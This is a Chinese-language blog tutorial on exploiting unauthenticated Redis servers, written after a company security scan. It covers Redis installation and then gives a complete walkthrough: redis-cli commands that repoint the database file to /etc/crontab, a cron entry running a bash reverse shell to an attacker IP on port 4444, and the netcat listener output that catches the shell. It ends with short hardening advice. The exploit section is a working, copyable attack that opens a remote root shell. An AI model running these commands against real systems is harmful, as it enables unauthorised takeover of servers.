1、背景介绍

近期公司内部安装主机安全组件,检测出一些安全漏洞,其中就有利用redis未授权漏洞进行攻击。攻击的大概路径如下图,本文主要介绍如何利用redis未授权漏洞进行攻击。

redis 端口漏洞 redis漏洞利用_Redis

2、攻击原理

正常redis默认情况下,会绑定在0.0.0.0:6379,如果没有限制来源IP并且甚至没有密码,那么就会导致攻击者非法访问,并读取Redis的数据,还可以利用自身config命令进行写入操作,攻击者可将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys中,进而直接使用对应私钥登录目标服务器。还可以利用redis config set dir和rdb文件和系统计划任务执行命令反弹shell。

3、产生条件

1、redis绑定在 0.0.0.0:6379,
2、主机没有配置防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网或内网
2、没有设置密码认证(默认为空),可以免密码远程登录redis服务
3、如果想高级利用,对方是以root身份启动的redis

4、反弹shell攻击介绍

redis 端口漏洞 redis漏洞利用_数据库_02

        常规的攻击逻辑是攻击者先ssh 连接上被攻击者的服务器,然后进行一系列的破坏或者盗取数据行为。如下图

 

redis 端口漏洞 redis漏洞利用_redis_03

        反弹shell是被攻击者主动连接攻击者预先设置的IP与端口。这里可能会有几点疑问
        问题一: 被攻击者为什么要主动连接攻击者的设置的IP与端口?
        答:这里连接行为肯定是攻击者做出的。
        问题二: 既然攻击者已经可以在被攻击服务器设置连接行为了,为什么不直接进行攻击,还要弄反弹 shel1 ?
        答:说明攻击者在当前的环境可以做的操作有限,需要进一步拿到更大的操作权限,比如 shel1 环境
        问题三: 攻击者为什么不直接 ssh 连接攻击?
        答:说明攻击者没有 ssh 的条件,比如防火墙,比如密码过于复杂,爆破难度大,又或者被攻击服务器只允许通过私钥连接等。

        我们攻击机连接不上,没办法连接到靶机, 换个思路,让靶机来向我们的攻击机连接。

        具体如何进行反弹shell不在这里介绍,感兴趣可以查一下相关资料。

5、单机版redis安装

  下载地址:选择对应的版本,博主选择的版本是redis-5.0.1.tar.gz,如果服务器开通外网权限也可以通过wget方式拉取。

redis 端口漏洞 redis漏洞利用_redis_04

安装

yum install -y gcc
tar -zxvf redis-5.0.1.tar.gz
make
make install PREFIX=/usr/local/redis

启动:
# 第一步:从 redis 的源码目录中复制 redis.conf 到 redis 的安装目录
cp /root/redis-6.2.6/redis.conf /usr/local/redis/bin/
# 第二步:修改redis.conf配置文件
cd /usr/local/redis/bin/
vi redis.conf
# 修改内容如下:
#daemonize 的值从 no 修改成 yes
# 第三步:启动服务
./redis-server redis.conf
# 第四步:查看进程来确定redis是否启动成功,非必须
ps -ef |grep redis

6、利用redis进行反弹shell

主要是利用redis-cli客户端连接上服务器端口(默认:6379)

redis-cli -h 192.168.160.100 -p 6379 -a Aa123456
上面通过暴力破解密码获得密码。
通过 config get * 查看redis 当前 config
通过 config set dir /*** 进行当前config配置
此时攻击者可以利用这个特性设置参数:
config set dir /var/spool/cron 或 /etc
config set dbfilename root 或 crontab
然后通过set设置真正的shell脚本
set xxx  "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.101/4444 0>&1\n\n"

config set dir /etc/crontab

攻击者利用伪造定时任务,定时发起shell

 redis客户端命令作如下:

127.0.0.1:6379> config set dir /etc
OK
127.0.0.1:6379> config set dbfilename crontab
OK

127.0.0.1:6379> set xxx  "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.101/4444 0>&1\n\n"
OK
127.0.0.1:6379> save
OK

 攻击机:

[root@localhost ~]# nc -lvp 4444**
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.160.9.
Ncat: Connection from 192.168.160.9:59168.

 如上攻击者既可以进行任何操作了。

redis 端口漏洞 redis漏洞利用_Redis_05

 

redis 端口漏洞 redis漏洞利用_数据库_06

 

7、漏洞修复建议

取消redis绑定在 0.0.0.0,任何客户端都可以连接上;端口最好不要采用默认端口
设置复杂的redis密码认证
外部访问需求的系统应该和内部系统进行网络资源隔离,并采用WAF等防火墙